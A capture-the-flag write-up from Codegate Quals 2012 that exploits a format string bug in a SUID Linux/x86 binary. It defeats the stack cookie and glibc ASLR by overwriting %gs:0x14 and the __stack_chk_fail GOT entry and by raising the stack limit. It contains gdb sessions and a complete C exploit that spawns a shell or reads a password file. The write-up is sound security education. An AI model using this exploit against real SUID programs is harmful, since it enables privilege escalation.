Joel Eriksson
Vulnerability researcher, exploit developer and reverse-engineer. Have spoken at BlackHat, DefCon and the RSA conference. CTF player. Puzzle solver (Cicada 3301, Boxen)

Codegate Quals 2012: Vuln 500

This is my writeup for the Vuln 500 challenge in the Codegate Quals 2012 competition.

The vulnerability is a straight forward format string vulnerability in a SUID Linux/x86 program. Since ASLR & NX was activated, it was not quite as straight forward to exploit though. Since partial RELRO was used as well, DTORS was read-only, but the GOT still writable. The only function call after the vulnerability is triggered is to __stack_chk_fail() though, and this is only called if the stack cookie for main() has been corrupted.

One way to exploit this vulnerability would be to use a ROP based payload, chaining gadgets from within the (non-randomized) .text section of the binary, and/or from glibc by bruteforcing its base address. Since a pointer to the format string was passed as the first argument of printf() right before this, we can return directly into system() which will use the format string pointer as its argument. This makes things a whole lot easier for us. :D

We still have to overcome the ASLR though, and we need to overwrite both the stack cookie on the randomized stack and the GOT-entry for __stack_chk_fail() with the address of system() in glibc which has a randomized base address. Looking at the stack pointer value between different executions about 20 bits of its address seems to be randomized though, and about eight bits of the glibc base address. This means that a bruteforce attack will take quite some time, unless we can figure out a way to exploit it more efficiently.

Fortunately, there are a few shortcuts. First of all, instead of overwriting the stack cookie on the stack, we can overwrite the value it checks the cookie against instead. This is stored at %gs:0x14, which is mapped to an address that is randomized as well, but that always seems to be located at a fixed offset beneath the glibc base address. See example below, the cookie is always stored at the system() address minus 0x39a2c in this particular program. This means we only have to bruteforce the glibc base address, which only has about eight bits randomized.

yesMan@ubuntu:/tmp/.x.$ gdb -q X 
Reading symbols from /tmp/.x./X...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048477
(gdb) r
Starting program: /tmp/.x./X 

Breakpoint 1, 0x08048477 in main ()
(gdb) x/i system
   0xb768e100 : sub    $0xc,%esp
(gdb) x/2i system-5
   0xb768e0fb:  mov    $0x0,%edi
   0xb768e100 : sub    $0xc,%esp
(gdb) x/x system-0x39a2c
0xb76546d4:  0x83338200
(gdb) x/8i$pc
=> 0x8048477 :  and    $0xfffffff0,%esp
   0x804847a :  push   %edi
   0x804847b :  push   %ebx
   0x804847c :  sub    $0x138,%esp
   0x8048482 : mov    0xc(%ebp),%eax
   0x8048485 : mov    %eax,0x1c(%esp)
   0x8048489 : mov    %gs:0x14,%eax
   0x804848f : mov    %eax,0x12c(%esp)
(gdb) b *0x804848f
Breakpoint 2 at 0x804848f
(gdb) c
Continuing.

Breakpoint 2, 0x0804848f in main ()
(gdb) i r eax
eax            0x83338200       2201190912

Using this, we can exploit it in within a couple of hundred attempts, which doesn’t take long. Note that we will use system-5 instead of the direct address of system(), since the latter happens to contain a NUL-byte, and the instruction at system()-5 is “harmless” (it just moves zero to edi, and does not dereference memory or anything else that might cause a crash).

There is, however, an even better way to do it. When “ulimit -s unlimited” / setrlimit(RLIMIT_STACK, {RLIM_INFINITY}) is used to make the stack as large as possible, glibc will always be mapped at the same address. This means we don’t have to do any bruteforcing at all, so our exploit will always work on the first attempt. In this case, the cookie at %gs:0x14 moves to a fixed address mapped after glibc instead of before it though.

yesMan@ubuntu:/tmp/.x.$ cat x.c
#include 

unsigned int get_tcb()
{
        __asm__("movl %gs:0, %eax");
}

int main(void)
{
        unsigned int cookie_addr = get_tcb() + 0x14;
        printf("%08x\n", cookie_addr);
        return 0;
}
yesMan@ubuntu:/tmp/.x.$ gcc -o x x.c
yesMan@ubuntu:/tmp/.x.$ for i in `seq 1 5`; do ./x; done
b763c6d4
b76af6d4
b760f6d4
b75e16d4
b77616d4
yesMan@ubuntu:/tmp/.x.$ ulimit -s unlimited
yesMan@ubuntu:/tmp/.x.$ for i in `seq 1 5`; do ./x; done
4017e6d4
4017e6d4
4017e6d4
4017e6d4
4017e6d4
yesMan@ubuntu:/tmp/.x.$ ldd x
        linux-gate.so.1 =>  (0x4001d000)
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40024000)
        /lib/ld-linux.so.2 (0x40000000)
yesMan@ubuntu:/tmp/.x.$ ldd /home/yesMan/X
        linux-gate.so.1 =>  (0x4001d000)
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40024000)
        /lib/ld-linux.so.2 (0x40000000)
yesMan@ubuntu:/tmp/.x.$ gdb -q x
Reading symbols from /tmp/.x./x...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x80483f2
(gdb) r
Starting program: /tmp/.x./x 

Breakpoint 1, 0x080483f2 in main ()
(gdb) x/i system
   0x4005d100 : sub    $0xc,%esp

Since my test program and the vulnerable programs are both linked to the same libraries, the addresses will be the same.

The last address we need to determine is the address to the GOT-entry for __stack_chk_fail():

yesMan@ubuntu:~$ objdump -R X | grep stack
0804a010 R_386_JUMP_SLOT   __stack_chk_fail

The final version of my exploit is as follows:

#include 
#include 
#include 
#include 
#include 

#define ADDR_SYSTEM 0x4005d100-5
#define ADDR_COOKIE 0x4017e6d4
#define GOT_STACK_CHK_FAIL 0x0804a010
#define CMDLINE "sh"
#define NUM_POPS 11
#define CMD_MAX 64

int main(int argc, char **argv)
{
    unsigned int system_hi, system_lo, num_pops;
    char *cmdline = CMDLINE, buf[256], *cp;
    struct rlimit rlim;
    unsigned int *p;

    if (argc >= 2) {
        if (strlen(cmdline) > CMD_MAX-2) {
            fprintf(stderr, "Too large command line\n");
            return 1;
        }
        cmdline = argv[1];
    }

    system_hi = ADDR_SYSTEM >> 16;
    system_lo = ADDR_SYSTEM & 0xffff;
    num_pops = NUM_POPS + CMD_MAX / 4;

    memset(buf, '#', sizeof(buf));
    strncpy(buf, cmdline, strlen(cmdline));
    buf[strlen(cmdline)] = ' ';
    p = (unsigned int *) &buf[CMD_MAX];
    *p++ = GOT_STACK_CHK_FAIL + 2;
    *p++ = GOT_STACK_CHK_FAIL;
    *p++ = ADDR_COOKIE;
    cp = (char *) p;

    snprintf(
        cp, &buf[sizeof(buf)]-cp, "%%%uu%%%u$hn%%%uu%%%u$hn%%%u$n\n",
        system_hi-12-CMD_MAX, num_pops,
        system_lo-system_hi, num_pops+1,
        num_pops+2
    );

    rlim.rlim_cur = RLIM_INFINITY;
    rlim.rlim_max = RLIM_INFINITY;
    if (setrlimit(RLIMIT_STACK, &rlim) == -1) {
        perror("setrlimit");
        return 1;
    }

    execl("/home/yesMan/X", "X", buf, NULL);
    perror("execve");
    return 1;
}

This is the output when running it:

yesMan@ubuntu:/tmp/.x.$ gcc -o xpl xpl.c
yesMan@ubuntu:/tmp/.x.$ ./xpl 'cat /home/yesMan/password'
...
Format_String_Bug_Hunter!@#$